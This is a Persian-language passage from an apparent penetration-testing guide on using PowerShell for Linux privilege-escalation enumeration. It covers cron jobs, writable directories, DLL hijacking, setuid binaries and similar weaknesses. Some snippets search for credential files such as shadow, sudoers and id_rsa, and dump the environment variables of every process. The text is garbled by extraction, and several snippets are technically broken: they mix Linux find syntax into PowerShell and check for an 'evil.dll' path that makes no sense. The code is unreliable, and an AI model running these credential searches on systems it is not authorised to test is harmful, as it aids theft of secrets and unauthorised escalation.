Cron Job    کرد. از    یدستکار  بالابردن سطح دسترسی   یتوان برا ی را م هاPowerShell   فهرست    یتوان برا ی م

 استفاده کرد: ها  Cron Job ل یو تحل ه یکردن و تجز

# List cron jobs 
crontab -l 

ها    Scheduled Taskرا در مورد    ییهانش یدهد و بی م  شینما  ی کاربر فعل  ی را براها    Cron Jobدستور    نیا

 دهد.ی ارائه م رند یکه ممکن است مورد سوء استفاده قرار گ

Exploiting world-writable directories 

ارائه دهند. از    بالابردن سطح دسترسی  ی را برا  ییهاقابل نوشتن ممکن است فرصت  ی با مجوزها  ییهای رکتور یدا

PowerShell  ها استفاده کرد: یرکتور یگونه دا نیا ییشناسا ی توان برای م 

# Find world-writable directories 
Get-ChildItem -Path / -type d | Where-Object { $_.Attributes -match 
"OtherWrite" } | ForEach-Object { 
 $dir = $_ 
 Write-Host "World-Writable Directory: $($dir.FullName)" 
} 

مجوزها  یهای رکتوریدا  پتیاسکر  نیا نوشتن  ی با  م   قابل  برای که  سوء    دسترسی بالابردن سطح    ی توانند  مورد 

 کند.ی م ییشناسا را  رند یاستفاده قرار گ

DLL Hijacking 

DLL Hijacking ی جستجو برا  ریدر مس یشامل دستکار DLL است.  هاPowerShell ییشناسا یتواند برا ی م  

 باشند استفاده شود: ریپذ بی آس  DLL Hijackingکه ممکن است در برابر   ییندهایفرا

# Identify processes with DLL hijacking potential 
Get-Process | ForEach-Object { 
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     $process = $_ 
     $dllPath = Join-Path $process.MainModule.FileName -ChildPath 
"evil.dll" 
     if (-not (Test-Path $dllPath)) { 
          Write-Host "Potential DLL hijacking found in $($process. 
ProcessName). Exploiting..." 
     } 
} 

کند و در صورت  ی م  یبررس   DLL Hijacking  یاحتمال  یهافرصت   یدر حال اجرا را برا  ند یهر فرآ  پتیاسکر  نیا

 دهد.ی هشدار م افتنی

Password files and sensitive information 

عبور    یهال یفا  یجستجو حساس    ایرمز  دسترسی  جهت  جیرا  کیتاکت  کیاطلاعات  سطح  از   بالابردن  است. 

PowerShell  استفاده کرد:  ییهالیفاچنین   ی جستجو ی توان برای م 

# Search for password files 
Get-ChildItem -Path / -type f -name "passwd*" -or -name "shadow" 
-or -name "sudoers" -or -name "id_rsa" -or -name "id_dsa" -or -name 
"*.key" 

 اطلاعات حساس همراه است.  ایعبور  یکند که معمولاً با رمزهای را جستجو م ییهافایل  پتیاسکر نیا

Exploiting wildcard injection 

Wildcard    از ناخواسته شود.    ی بررس   ی برا  توانی م  PowerShellدر دستورات ممکن است منجر به عواقب 

 استفاده کرد:  Wildcard Injection یهایریپذ بیآس 

# Check for wildcard injection vulnerabilities 
Get-ChildItem -Path / -include "*.log*" -Recurse 

نام  ییهالیفا  پتیاسکر  نیا با  الگو  یهارا  با  م  log  یمطابق  م  کند ی جستجو  شناسا  تواند ی و   ییبه 

 کمک کند. Wildcard Injectionبالقوه   یهایریپذ بیآس 

 



 
 

 
 

 پاورشل برای تست نفوذ آشنایی با 

Securityworld.ir  شرکت دهکده امن فناورانه صبا 

Exploiting setuid and setgid binaries 

  ن یا  افتنی  یتوان برا ی م  PowerShell. از  شوند ی اجرا م  لیمالک فا  ازاتیبا امت  setgidو    setuid  یهاینریبا

 ها استفاده کرد: ی نریگونه با

# Find setuid and setgid binaries 
find / -type f -perm /4000 -or -perm /2000 2>/dev/null 

بالابردن    یرا برا   ییهادهد که به طور بالقوه فرصتی را نشان م  setgidو    setuid  یهای نریبا  ست یدستور ل  نیا

 کند.ی فراهم م  سطح دسترسی

Exploiting environment variables 

تأثی م  ی ط یمح  ی رهایمتغ برنامه  رفتار  بر  از    ر یتوانند  برا ی م  PowerShellبگذارند.    ی رهایمتغ  یبررس   یتوان 

 استفاده کرد:  ی طیمح

# Check environment variables 
Get-ChildItem -Path /proc/*/environ -type f | ForEach-Object { 
     $envContents = Get-Content $_.FullName 
     Write-Host "Environment Variables in $($_.FullName):" 
     Write-Host $envContents 
} 

که   ییرهایمتغ   ییکند و به شناسای م   یابیباز  proc/را در پوشه    ی طیمح  ر یمتغ  یهال یفا  اتیمحتو  پتیاسکر  نیا

 کند.ی کمک م رند ی ممکن است مورد سوء استفاده قرار گ

PowerShell  دهد که  ی قرار م   یتیمتخصصان امن  اریرا در اخت  ی چند پلتفرم  یسیزبان برنامه نو  کی   نوکسیدر ل

  بومی که دستورات  یاستفاده شود. در حال بالابردن سطح دسترسی یبرا نوکسیل یبوم  یتواند در کنار ابزارهای م

آن    ،هاپلتفرم   نیدر ب  PowerShell  یسازگار  ولی   شوند ی داده م  حیاغلب ترج  یسینوبرنامه   یهاو زبان   نوکس یل

  ی تی . متخصصان امنکند ی م  لیمختلط تبد   یهاط یو تست نفوذ در مح  یتیامن  یهایابی ارز  یارزشمند برا  یرا به ابزار

بالابردن    ی ها را براکیابزارها و تکن  نیترو مناسب   رند ی خود را در نظر بگ   نوکس یل  یهاستم یخاص س   نهیزم  د یبا

 انتخاب کنند.  ط ی بر اساس مح سطح دسترسی


